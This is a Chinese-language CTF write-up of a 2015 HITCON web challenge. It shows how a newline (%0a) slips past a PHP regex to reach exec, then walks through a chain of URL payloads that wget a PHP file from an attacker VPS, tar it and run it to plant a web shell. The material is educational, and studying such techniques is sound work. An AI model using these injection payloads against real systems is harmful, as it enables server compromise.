【另类姿势RCE】一个由正则引发的命令执行
注
本文首发于合天网安实验室
前言
对于Web方向的选手来说,拥有一台vps可以快速解决一些RCE问题,本篇文章所演示的是2015年HITCON的一道web题,虽然时隔有些久,但是这题所利用的trick以及RCE的思路,仍然值得我们去学习。
初步审计
题目代码如下:
1 |
|
题目代码比较短,一共就15行代码,但实际上最关键的代码就只有两行,如下:
1 | if ( !preg_match('/^\w+$/', $args[$i]) ) |
一个是正则匹配,一个是exec
的命令执行
首先先看正则部分/^\w+$/
,这一部分要求传入的args参数必须以字母数字下划线开头,除此之外,在最后还有一个美元符号$
,需要明确的是:$
符号在PCRE中是会匹配\n
以及\r
前的位置的,结合后面exec
命令执行的部分,也就是说,我们可以使用换行符%0a
绕过执行其他命令。
但是如果本题在正则表达式后加一个D
修饰符,那么就无法使用%0a
绕过,具体测试样例如下,这里就不过多阐述了,因为题目中没有这个修饰符。
1 | echo preg_match("/^\w+$/", "abc".chr(10));//1 |
其次再粗略看一下命令执行的部分,这里命令执行的部分使用exec
,单单使用一个exec
是无法将命令执行的结果回显出来,因此在后续做题就可能会产生这么几种思路:数据外带、写入shell等等
数据外带
首先分析一下数据外带,多数情况下想要尝试数据外带都需要使用一些特殊的字符,例如使用反引号外带至dnslog,不过本题正则不允许args传入,因此数据外带这个方法行不通
写入shell
想要使用写入shell方法完成本题,还是有两种方式,一种方式就是使用echo 'xxx' > xx.php
,然而这题正则过滤了这些字符,因此可以使用另一种方法,就是将下载远程服务器上的文件,通过一些操作进行RCE
详解RCE
本题官方解所使用的思路就是:下载远程服务器上的文件,通过一些操作进行RCE,具体是哪些操作下面会说到。
首先我们现在本地服务器上测试,此时新建一个php文件,命名为1.php
,内容如下:
1 |
|
然后将1.php
放入一个文件夹a
中
这个时候我们将文件夹a
利用tar
打包,注意是打包,不是压缩
1 | tar cf b a |
打包之后结果如下:
此时我们直接使用php
命令去执行这个b
看一下最后的12,就是前面1.php
的执行结果3 * 4 = 12
那么为什么可以直接执行b
这个文件呢?
其实我们可以直接使用cat
查看b
中的文件
可以看到,b
文件中存在之前写入的1.php
的代码
这个时候我们总结一下这个方法,全程使用的命令对于正则/^\w+$/
都是合法的,并且1.php
中的内容可控,因此可以通过这个方法写入shell
因此,对于解题来说,解题流程如下:
首先在vps中新建一个index.html
,文件内容如下:
1 |
|
然后在vps中启动http服务
1 | python3 -m http.server 80 |
由于ip都是6.6.6.6
的形式,带.
,不符合正则,因此可以使用十进制ip绕过
1 |
|
然后先新建一个upload
目录,对应上面测试的a
1 | ?args[]=l%0a&args[]=mkdir&args[]=upload |
然后进入upload
目录,利用wget下载vps上的index.html
1 | ?args[]=l%0a&args[]=cd&args[]=upload%0a&args[]=wget&args[]=101058054 |
将upload
目录打包,打包后的名称为b
1 | ?args[]=l%0a&args[]=tar&args[]=cvf&args[]=b&args[]=upload |
在执行b
目录,写入shell
1 | ?args[]=l%0a&args[]=php&args[]=b |
这题本质上是利用了tar
打包的特性,将下载下来的index.html
打包,然后利用php
执行
不过这只是官方解,除此之外,在2015年比赛的时候,还有一些队伍使用http302重定向到ftp中,将恶意文件下载到靶机中getshell。
由于Python自带的http.server
默认将index.html
作为首页,并且无法修改默认首页
但是,还有一种方法就是自建一个web服务器,不使用php解析,且访问80端口的默认文档为shell.php
,然后再利用wget
下载php文件进行getshell。
总之,方法总比困难多。